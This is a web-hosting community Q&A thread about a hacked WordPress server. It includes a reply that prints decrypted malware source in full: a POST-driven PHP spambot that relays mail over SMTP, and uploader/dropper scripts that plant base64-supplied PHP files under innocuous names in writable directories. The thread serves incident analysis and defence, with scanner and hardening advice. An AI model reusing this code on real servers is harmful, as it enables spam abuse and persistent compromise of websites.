Question

Ubuntu Wordpress Hacked - Post Mortem

  • Posted on January 14, 2015
  • tobyAsked by toby

Hi there

I got a notification from DO that my server might be hacked. It was a Wordpress install, and I found some extremely suspect files. I have rebuilt from scratch and sanitized all theme files and uploads.

Now I’d like to conduct a post mortem on the old droplet to try to put better security measures in place.

I have identified several malware files in my WP install:

  1. Around 50 files in the root directory, named ‘kmoxj.php’, ‘n9984515tp.php’, etc.
  2. A file named ‘wp-conf.php’ in the root directory.
  3. Random PHP files sprinkled around the install in ‘/wp-content/uploads/’, ‘wp-includes’ and ‘/wp-content/plugins’, all designed to look like config files.

All include content similar to:

<?php $d93="l#\"quX>wj{V}mA.\rR cIQ\n`g4*:~v]3t<d\$EWnBCG-hUfK_k0(!HZ\t;[N8aPr6&YyDpo2\\5e@iFSJ?s,7/LbMT|)z=9O^+1x%'"; $GLOBALS['nbozb93'] = $d93[71].$d93[60].$d93[60].$d93[67].$d93[60].$d93[46].$d93[60].$d93[71].$d93[66].$d93[67].$d93[60].$d93[31].$d93[73].$d93[37].$d93[23]; $GLOBALS['wmyrm6'] = $d93[73].$d93[37].$d93[73].$d93[46].$d93[78].$d93[71].$d93[31]; $GLOBALS['efqzd94'] = $d93[33].$d93[71].$d93[44].$d93[73].$d93[37].$d93[71]; $GLOBALS['amnno92'] = $d93[33].$d93[64].$d93[73].$d93[4].$d93[28].$d93[24].$d93[80]; $GLOBALS['mvpev72'] = $d93[4].$d93[37].$d93[18].$d93[28].$d93[7].$d93[61].$d93[70]; $GLOBALS['sfzxp35'] = $d93[12].$d93[33].$d93[70]; $GLOBALS['ehiza78'] = $d93[18].$d93[67].$d93[4].$d93[37].$d93[31];

After rebuilding the server, I see numerous GET/POST requests for these files or directories where these files were stored.

The Ubuntu install seems to be intact (no strange users/permissions/files) as far as I can see.

Any ideas where I might start digging for the source of the vulnerability?

Thanks!

Toby

Show comments

Submit an answer

This textbox defaults to using Markdown to format your answer.

You can type !ref in this text area to quickly search our full set of tutorials, documentation & marketplace offerings and insert the link!

Sign In or Sign Up to Answer

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

Want to learn more? Join the DigitalOcean Community!

Join our DigitalOcean community of over a million developers for free! Get help and share knowledge in Q&A, subscribe to topics of interest, and get courses and tools that will help you grow as a developer and scale your project or business.

Hi there,

You can install malware detection software like Linux Malware Detect, also known as Maldet or LMD. It will help you to locate any malicious files on your droplet.

If you’re interested in securing your droplet (everyone should be in general) you can double-check our tutorial - An Introduction to Securing your Linux VPS.

The article will cover the basic and some more advanced steps in website and server security.

You can check the article here:

https://www.digitalocean.com/community/tutorials/an-introduction-to-securing-your-linux-vps

For WordPress I could suggest following the steps from this answer here on how to secure your WordPress websites:

https://www.digitalocean.com/community/questions/how-to-secure-wordpress-without-a-security-plugin

Once you’ve done that I could suggest the following as well:

Install a plugin called Wordfence and run a security scan for each website

Delete any plugins and themes that you do not use

Change your WordPress core files with clean ones and also run a core checksum with the wp-cli tool

Also, make sure to check your Apache or Nginx access logs for any strange POST requests

Hope that this helps!

Hi All I find more info about this malware. Encrypted spambot body http://pastebin.com/uJC3Zzmg This malware is multiparted. Head function is spamming via php mail buy mayby have send other parts. Can list/view/put files, also run script by eg http get Decrypted parts (similary): SPAMBOT

[<?php] @error_reporting(0); @ini_set(‘error_log’, NULL); @ini_set(‘log_errors’, 0); if (count ($_POST) < 2) { die(PHP_OS . chr(49) . chr(48) . chr(43) . md5(0987654321)); } $v5031e998 = false; foreach (array_keys ($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === ‘’ || $v8d777f38 === ‘’ ) die(PHP_OS . chr(49) . chr(49) . chr(43) . md5(0987654321)); $v619d75f8 = preg_split( ‘/,(\ +)?/’, @ini_get(‘disable_functions’ )); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos ($v01b6e203, ‘#’ , 1) != false) { $v16a9b63f = preg_split( ‘/#/’, $v01b6e203); $ve2942a04 = count($v16a9b63f); } else { $v16a9b63f[0] = $v01b6e203; $ve2942a04 = 1; } for ($v865c0c0b = 0; $v865c0c0b < $ve2942a04; $v865c0c0b++) { $v01b6e203 = $v16a9b63f[$v865c0c0b]; if ($v01b6e203 == ‘’ || ! strpos($v01b6e203, ‘@’, 1)) continue; if (strpos($v01b6e203, ‘;’, 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split(‘/;/’ , strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vbfbb12dc); $v3a5939e4 = next( explode( ‘@’, $v081bde0c)); if ($vbfbb12dc == ‘’ || $va3da707b == ‘’) { $vbfbb12dc = $va3da707b = ‘’; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = “"$va3da707b $vbfbb12dc" <$v081bde0c>”; } } else { $vbfbb12dc = $va3da707b = ‘’; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next( explode( ‘@’, $v01b6e203)); } preg_match( ‘|<user>(.)</USER>|imsU’ , $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match( '|<name>(.)</NAME>|imsU’ , $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match( ‘|<subj>(.)</SUBJ>|imsU’ , $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match( '|<sbody>(.)</SBODY>|imsU’ , $v8d777f38, $v6f4b5f42); $v6f4b5f42 = $v6f4b5f42[1]; $vc34487c9 = str_replace( “%R_NAME%”, $va3da707b, $vc34487c9); $vc34487c9 = str_replace( “%R_LNAME%”, $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace( “%R_NAME%”, $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace( “%R_LNAME%”, $vbfbb12dc, $v6f4b5f42); $v0897acf4 = preg_replace( ‘/^(www|ftp)./i’ , ‘’ , @$_SERVER[‘HTTP_HOST’]); if (ne667da76($v0897acf4) || @ ini_get( ‘safe_mode’)) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = “$vee11cbb1@$v0897acf4”; if ($vb068931c != ‘’) $vd98a07f8 = “$vb068931c <$v9a5cb5d8>”; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = “From: $vd98a07f8\r\n”; $vb8ddc93f .= “Reply-To: $vd98a07f8\r\n”; $v3c87b187 = “X-Priority: 3 (Normal)\r\n”; $v3c87b187 .= “MIME-Version: 1.0\r\n”; $v3c87b187 .= “Content-Type: text/html; charset="iso-8859-1"\r\n”; $v3c87b187 .= “Content-Transfer-Encoding: 8bit\r\n”; if (!in_array(‘mail’, $v619d75f8)) { if ($v10497e3f) { if (@ mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f . $v3c87b187, “-f$v9a5cb5d8” )) { echo ( chr(79) . chr(75) . md5(1234567890) . “+0\n” ); continue; } } else { if (@ mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) { echo ( chr(79) . chr(75) . md5(1234567890) . “+0\n” ); continue; } } } $v4340fd73 = "Date: " . @ date( “D, j M Y G:i:s O”) . “\r\n” . $vb8ddc93f; $v4340fd73 .= “Message-ID: <” . preg_replace(‘/(.{7})(.{5})(.{2}).*/’ , ‘$1-$2-$3’ , md5(time ())) . “@$v0897acf4>\r\n” ; $v4340fd73 .= “To: $v01b6e203\r\n”; $v4340fd73 .= “Subject: $vc34487c9\r\n”; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73 . “\r\n” . $v6f4b5f42; if ($v3d26b0b1 == ‘’) $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { echo ( chr(79) . chr(75) . md5(1234567890) . “+1\n”); continue; } else { echo PHP_OS . chr(50) . chr(48) . ‘+’ . md5(0987654321) . “+$vb4a88417\n” ; } } function ne667da76($v957b527b) { return preg_match( “/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/” , $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685 = “=\r\n”, $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ‘’; for ($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .= ‘=’ . str_pad(strtoupper (dechex($v4a8a08f0)), 2, ‘0’, STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array(‘fsockopen’, $v619d75f8)) $v66b18866 = @ fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array(‘pfsockopen’, $v619d75f8)) $v66b18866 = @ pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array(‘stream_socket_client’, $v619d75f8) && function_exists (“stream_socket_client” )) $v66b18866 = @stream_socket_client(“tcp://$v3d26b0b1:25” , $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 = n54070395($v66b18866); @ fputs($v66b18866, “EHLO $v0897acf4\r\n”); $ve98d2f00 = n54070395($v66b18866); if ( substr($ve98d2f00, 0, 3) != 250) return “2+($v01b6e203)+” . preg_replace(‘/(\r\n|\r|\n)/’ , ‘|’ , $ve98d2f00); @ fputs($v66b18866, “MAIL FROM:<$vd98a07f8>\r\n”); $ve98d2f00 = n54070395($v66b18866); if ( substr($ve98d2f00, 0, 3) != 250) return “3+($v01b6e203)+” . preg_replace(‘/(\r\n|\r|\n)/’ , ‘|’ , $ve98d2f00); @ fputs($v66b18866, “RCPT TO:<$v01b6e203>\r\n”); $ve98d2f00 = n54070395($v66b18866); if ( substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251) return “4+($v01b6e203)+” . preg_replace(‘/(\r\n|\r|\n)/’ , ‘|’ , $ve98d2f00); @ fputs($v66b18866, “DATA\r\n”); $ve98d2f00 = n54070395($v66b18866); if ( substr($ve98d2f00, 0, 3) != 354) return “5+($v01b6e203)+” . preg_replace(‘/(\r\n|\r|\n)/’ , ‘|’ , $ve98d2f00); @ fputs($v66b18866, $v841a2d68 . “\r\n.\r\n”); $ve98d2f00 = n54070395($v66b18866); if ( substr($ve98d2f00, 0, 3) != 250) return “6+($v01b6e203)+” . preg_replace(‘/(\r\n|\r|\n)/’ , ‘|’ , $ve98d2f00); @ fputs($v66b18866, “QUIT\r\n”); @ fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = ‘’; while ($v341be97d = @ fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if ( substr($v341be97d, 3, 1) == ’ ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array(‘getmxrr’, $v619d75f8) && function_exists(“getmxrr” )) { @ getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if ( count($v744fa43b) === 0) return ‘127.0.0.1’; $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return ‘127.0.0.1’; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ‘’; for ($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr( ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; }

Othres part

[<?php] print “<php_debug>\n”; error_reporting ( E_ALL ); ini_set ( ‘track_errors’, 1 );

define ( ‘MAX_DIRS’, 1000 );

if (! isset ( $_REQUEST [‘b64cont’] )) { print “<err>NO b64cont</err>”; exit ( 0 ); }

$file_content = base64_decode ( $_REQUEST [‘b64cont’] );

if (empty ( $file_content )) { print “<err>EMPTY b64cont</err>”; exit ( 0 ); }

$names = array ( “dirs”, “dir”, “lib”, “search”, “stats”, “info”, “functions”, “db”, “inc”, “include”, “admin”, “user”, “system”, “file”, “files”, “global”, “template”, “blog”, “header”, “footer”, “press”, “test”, “title”, “code”, “options”, “option”, “general”, “gallery”, “themes”, “article”, “login”, “ajax”, “start”, “cache”, “proxy”, “menu”, “page”, “list”, “config”, “alias”, “defines”, “css”, “javascript”, “diff”, “ini”, “sql”, “xml”, “error”, “dump”, “utf”, “help”, “session”, “model”, “view”, “object”, “plugin” );

$host = $_SERVER [‘HTTP_HOST’]; $uri = $_SERVER [‘REQUEST_URI’]; $doc_root = fix_path ( $_SERVER [‘DOCUMENT_ROOT’] ); $cwd = fix_path ( getcwd () );

print “doc: $doc_root\n”; print “cwd: $cwd\n”; print “uri: $uri\n”;

$relpath = str_replace ( $doc_root, “”, $cwd ); $dirs = explode ( ‘/’, $relpath );

print “relpath: $relpath\n”;

$path = $doc_root;

foreach ( $dirs as $dir ) {

$path .= "/";
$path .= $dir;
$path = fix_path ( $path );

if (is_readable ( $path )) {
	$start_path = $path;
	break;
}

$winpath = $path . "/.."; // winhack

if (is_readable ( $winpath )) {
	$start_path = $winpath;
	break;
}

}

if (empty ( $start_path )) { print “<err>NO START PATH</err>\n”; exit ( 0 ); } else { print “START: $start_path\n”; }

$w_dirs = read_all_writable_files ( $start_path );

if (! sizeof ( $w_dirs )) { print “<err>NO W DIR</err>”; exit ( 0 ); }

$mypath = $w_dirs [array_rand ( $w_dirs )];

shuffle ( $names );

foreach ( $names as $name ) {

$file = $mypath . "/" . $name . ".php";

if (! file_exists ( $file ) || ! filesize ( $file )) {
	
	/* Try to detect root folder */
	
	$rx = '|' . $doc_root . '\/*|';
	$replace = "http://" . $host . "/";
	
	print "replace: $file - $rx - $replace\n";
	
	$url = preg_replace ( $rx, $replace, $file );
	
	$res = put_cont ( $file, $file_content );
	chmod ( $file, 0755 );
	print "<put><rpath>$file</rpath><url>$url</url></put>\n";
	
	if ($res > 0) {
		print "<ud" . "ata><rpath>$file</rpath><url>$url</url></ud" . "ata>";
	} else {
		print "<err>put error: $res</err>";
	}
	exit ( 0 );
}

}

print “<err>NIL</err>”; exit ( 0 ); function read_all_writable_files($root = ‘.’) { $nn = 0;

$files = array ();
$directories = array ();

$directories [] = $root;

while ( sizeof ( $directories ) ) {
	$dir = array_pop ( $directories );
	
	if (! is_readable ( $dir ))
		continue;
	
	if ($handle = opendir ( $dir )) {
		
		while ( false !== ($file = readdir ( $handle )) ) {
			if ($file == '.' || $file == '..') {
				continue;
			}
			
			$file = $dir . "/" . $file;
			
			if (is_dir ( $file )) {
				
				array_push ( $directories, $file );
				
				if (is_writable ( $file )) {
					$files [] = fix_path ( realpath ( $file ) );
					
					if ($nn ++ > 1000) {
						return $files;
					}
				}
			}
		}
		closedir ( $handle );
	}
}
return $files;

} function put_cont($filename, $data) { $f = fopen ( $filename, ‘w’ );

if (! $f) {
	print "<err>put_cont: fopen failed: $php_errormsg</err>\n";
	return - 1;
} else {
	
	$res = fwrite ( $f, $data );
	
	if ($res) {
		return $res;
	} else if ($res === FALSE) {
		print "<err>put_cont: fwrite failed: $php_errormsg</err>";
		return - 2;
	} else if ($res == 0) {
		print "<err>put_cont: fwrite failed (0 bytes): $php_errormsg</err>";
		return - 3;
	}
}

return false;

} function get_cont($filename) { $f = @fopen ( $filename, ‘r’ ); if (! $f) { return “”; } else { $cont = fread ( $f, filesize ( $filename ) ); fclose ( $f ); return $cont; } } function fix_path($path) { $path = preg_replace ( ‘/(\|/)+/’, ‘/’, $path ); return $path; }

[<?php] print “<php_debug>” ; error_reporting(E_ALL ); ini_set(‘track_errors’ , 1);

define (‘MAX_DIRS’ , 1000);

if (!isset ($_REQUEST[‘b64cont’ ])) { print “<err>NO B64</err>”; exit (0); }

$file_content = base64_decode($_REQUEST[ ‘b64cont’]);

if (empty ($file_content)) { print “<err>EMPTY B64</err>”; exit (0); }

$remote_path = $_REQUEST[‘rp’];

if (empty ($remote_path)) { print “<err>BAD PATH</err>”; exit (0); }

$res = put_cont($remote_path, $file_content);

if ($res > 0) { print “<res>up_ok</res>”; } else { print “<res>up_err</res>\n”; print “<err>put_error: $res</err>”; }

exit (0);

function put_cont($filename, $data) {

 $f = fopen($filename, 'w');

 if (!$f) {
       print "<err>put_cont: fopen failed: $php_errormsg</err>\n";
       return -1;
     
 } else {
     
      $res = fwrite($f, $data);
     
       if ($res) {
            return $res;
      }
       else if ($res === FALSE) {
       print "<err>put_cont: fwrite failed: $php_errormsg</err>";
       return -2;
      }
       else if ($res == 0) {
       print "<err>put_cont: fwrite failed (0 bytes): $php_errormsg</err>";
       return -3;
      }
               
 }

 return false;

}

function get_cont($filename) { $f = @fopen($filename, ‘r’); if (!$f) { return “”; } else { $cont= fread($f, filesize($filename)); fclose($f); return $cont; } }

[<?php] define ( ‘MAX_DIRS’, 1000);

  if (!isset ($_REQUEST ['b64cont' ])) {
        print "<err>NO b64cont</err>";
        exit (0 );
  }

  $file_content = base64_decode($_REQUEST['b64cont' ]);

  if (empty ($file_content )) {
        print "<err>EMPTY b64cont</err>" ;
        exit (0 );
  }

  
  $names = array ("dirs" , "dir", "lib", "search" , "stats", "info", "functions" ,
  "db", "inc" , "include", "admin", "user" , "system", "file", "files", "global" , "template", "blog", "header" , "footer", "press", "test" , "title",
  "code", "options" , "option", "general", "gallery" , "themes", "article", "login" , "ajax", "start", "cache" , "proxy", "menu", "page" , "list", "config",
  "alias", "defines" , "css", "javascript", "diff" , "ini", "sql", "xml" , "error", "dump", "utf" , "help", "session", "model", "view" , "object", "plugin");
  
  $host = $_SERVER['HTTP_HOST' ];
  $uri = $_SERVER['REQUEST_URI' ];
  $doc_root = $_SERVER ['DOCUMENT_ROOT' ];

  $w_dirs = read_all_writable_files ($doc_root );
  
  $mypath = $w_dirs [array_rand($w_dirs)];
  
  shuffle( $names);

  foreach( $names as $name) {

       $file = $mypath .$name .".php" ;

        if (!file_exists($file))
        {
       
             $doc_root = preg_replace(' /( \\\| \/)+ /' , '/', $doc_root); //Normalize slashes to /
             $url = preg_replace(' /( \\\| \/)+ /' , '/', $file); //Normalize slashes to /
                                   
              /* Try to detect root folder */
                                   
             $rx = '|'. $doc_root. '\/*|';
             $replace = "http://".$host."/" ;

             $url = preg_replace($rx, $replace, $url);
             
              if (put_cont ($file , $file_content ))
              {
                   print "<ud"."ata><rpath>$file</rpath><url>$url</url></ud" ."ata>" ;
                   exit(0 );
              }
        }
  }     

  print "<err>NIL</err>";
  exit();

function read_all_writable_files( $root = ‘.’ ){

$nn = 0;

$files = array(); $directories = array(); $last_letter = $root[strlen ($root )-1 ]; $root = ($last_letter == '\ ’ || $last_letter == ‘/’) ? $root : $root .DIRECTORY_SEPARATOR ;

$directories[] = $root;

while (sizeof ($directories )) { $dir = array_pop( $directories);

  if (!is_readable ($dir ))
        continue;  

if ($handle = opendir( $dir)) {

  while (false !== ( $file = readdir($handle))) {
     if ($file == '.' || $file == '..') {
       continue;
     }

       $file  = $dir .$file ;

     if (is_dir($file)) {

      $directory_path = $file .DIRECTORY_SEPARATOR ;
       array_push($directories, $directory_path);

              if (is_writable($directory_path)) {
                  $files []  = $directory_path ;
                  
                   if ($nn ++ > MAX_DIRS ) {
                         return $files ;
                   }

              }

     }
  }
  closedir( $handle);
}

} return $files ; }

function put_cont( $filename, $data) { $f = @fopen ($filename , ‘a+’); if (!$f) { return false; } else { $bytes = fwrite($f, $data); fclose($f); return $bytes ; } }

function get_cont( $filename) { $f = @fopen ($filename , ‘r’); if (!$f) { return “”; } else { $cont = fread($f, filesize( $filename)); fclose($f); return $cont ; } } ?>

Thanks for the response - I opted not to try to scan and remove the files. I can see the date these files were created, so the quickest solution seemed to be to restore from the backup from just before that date.

My greatest concern was that I had left some kind of vulnerability in my Ubuntu install. I’m now fairly certain the vulnerability was in Wordpress, so I guess I just need to do a better job keeping Wordpress and plugins updated.

For anyone else experiencing this, my research led me to a piece of software called OSSEC, which will monitor folders and files and send email reports if they are modified. For me, this seems to be the simplest, most effective way to quickly discover if either linux or installed software has been compromised.

Thanks again,

Toby